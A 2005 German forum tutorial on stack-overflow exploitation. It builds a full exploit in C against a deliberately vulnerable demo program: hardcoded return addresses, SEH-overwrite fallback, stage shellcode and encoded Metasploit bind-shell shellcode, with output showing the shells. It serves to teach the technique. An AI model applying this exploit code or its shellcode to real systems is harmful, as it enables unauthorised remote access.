Stackexploit Mit 2 Returnadressen

Dieses Thema im Forum "Security Tutorials" wurde erstellt von xodox, 9. Mai 2005 .

Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. Diese Seite verwendet Cookies. Wenn du dich weiterhin auf dieser Seite aufhältst, akzeptierst du unseren Einsatz von Cookies. Weitere Informationen
  1. #1 9. Mai 2005
    -=[ STACKEXPLOIT MIT 2 RETURNADRESSEN]=-
    -=[ by XodoX ]=-​


    Jeder der sich einmal mit Stackoverflows unter Windows beschäftigt hat kennt dieses Problem:
    Was tun, wenn man nicht weiß welches OS auf dem Zielhost läuft?

    Die Lösung:
    Ein Exploit schreiben, dessen Rücksprungadressen bei verschiedenen Systemen funktionieren.


    Zum Beispiel:
    ----
    Zuerst unser angreifbarer Code...

    //vul.c

    #include<stdio.h>
    #include<string.h>
    #include<windows.h>

    int main (int argc,char *argv[]){

    char buf[512];
    char buf1[1024]; // Stack simmulieren für Analyse

    if (argc != 2){
    printf("Too less arguments\n"); // Eingaben des Benutzers überprüfen
    return -1;
    }

    strcpy(buf,argv[1]); // <= Überlauf passiert hier
    return 0;
    }


    ==Übersicht über die Exploitentwicklung==

    Unser Ziel ist es ein Exploit zu schreiben, welches einen Pufferüberlauf auf verschiedenen Betriebssystemen erfolgreich ausnützen kann.

    Unter win32 hat jede Anwendung einen so genannten default exception handler welcher bei einer falschen Aktion aufgerufen wird. Er befindet sich immer am Ende des Stacks.
    Bei einem normalen Pufferüberlauf wird nur die Rücksprungadresse überschrieben. Wenn diese jedoch falsch ist springt das Programm automatisch zum default exception handler und springt dann an die dort angegebene Adresse und führt die dort gespeicherte Aktion aus (normalerweise eine Mitteilung dass das Programm einen Fehler verursacht hat.)

    Nun überschreiben wir aber den default exception handler, mit einer weiteren Rücksprungadresse.
    Wenn die erste Rücksprungadresse wegen eines falschen Os falsch ist, wird dadurch automatisch zur 2. Rücksprungadresse gesprungen.

    Beispiel:

    [Buf] <- Shellcode
    [Return Address] <- jmp register (WinXP sp1)
    [Various Stack Data] <- Junk
    [Pointer To Next SEH] <- "\xEB\x06\xff\xff" 6 bytes weiter springen
    [SE Handler] <- jmp register (Win2k sp4)
    [Stage1 Shellcode] <- stage1 shellcode für win2k


    ==Getting Started==
    Was passiert wenn wir unser vul-Programm mit zu vielen Zeichen füttern? (z.B. 1600 * A)
    Es stürzt ab..

    EAX 00000000
    ECX 00321404
    EDX 00414141
    EBX 7FFDF000
    ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    EBP 41414141
    ESI 77D4595F
    EDI 77F59037 ntdll.77F59037
    EIP 41414141

    Nun schauen wir uns den default exception handler auf dem Stack an.

    0x0012FFB0 41414141 Pointer to next SEH Record
    0x0012FFB4 41414141 SE Handler

    Wie sehen, dass wir die Rücksprungadresse und den default exception handler überschribene haben.

    ===Erste Rücksprungadresse (WinXP Sp1 EN)===
    Da das esp-REgister auf unsere Eingabe zeigt, können wir ein jmp esp verwenden um in unserem 1. Shellcode zu landen.
    Wir verwenden 0x77F8AC16 (jmp esp in WinXP Sp1 En)
    Als 1. Shellcode verwenden wir
    "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"


    ===2. Rücksprungadresse (Win2000 Sp4 EN)===
    Als 2. Rücksprungadresse verwenden wir wie bei einem normalen Return into Lib 0x77F92A9B (jmp ebx bei Win2k Sp4 En). Und unser 2. Shellcode:
    "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"


    Und nun alles zusammen

    ==Proof Of Concept==
    The Exploit:

    // exploit.c

    #include<stdio.h>
    #include<string.h>
    #include<windows.h>

    #define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp
    #define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx

    // Stage1 für WinXP Sp1
    unsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";

    // Stage1 für Win2k Sp4
    unsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1";

    // win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] Penetration Testing Software | Metasploit
    unsigned char shellcode[] =
    "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
    "\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
    "\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
    "\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
    "\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
    "\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
    "\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
    "\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
    "\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
    "\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
    "\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
    "\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
    "\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
    "\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
    "\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
    "\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
    "\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
    "\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
    "\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
    "\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
    "\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
    "\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
    "\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
    "\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
    "\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";


    int main(int argc,char *argv[]){

    char *bufExe[3];
    char buf[2048];
    bufExe[0] = "vul.exe";
    bufExe[2] = NULL;

    memset(buf,0x0,sizeof(buf));
    memset(buf,0x90,1652);
    memcpy(&buf[24],shellcode,sizeof(shellcode)-1);

    memcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode
    memcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode

    *(unsigned long *)&buf[1540] = RET_XP; // 1.RET (jmp esp) winXP sp1 en
    *(unsigned long *)&buf[1584] = 0xcccc06EB; // Für win2k - jmp 6 bytes nach stage1_2 code
    *(unsigned long *)&buf[1588] = RET_WIN2K; // 2.RET (jmp ebx) win2k sp4 en


    bufExe[1] = buf;
    execve(bufExe[0],bufExe,NULL);

    return 0x0;
    }

    Exploit unter WindowsXP Sp1:

    C:\>exploit
    C:\>
    C:\>telnet 127.0.0.1 4444

    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:\>

    Exploit unter Windows2000 Sp4:
    C:\>exploit
    C:\>
    C:\>telnet 127.0.0.1 4444

    Microsoft Windows 2000 [Version 5.00.2195]
    (C) Copyright 1985-2000 Microsoft Corp.

    C:\>

    ==Final words==
    Exploiting rulez && greez by Xodox
     

  2. Anzeige

  3. Videos zum Thema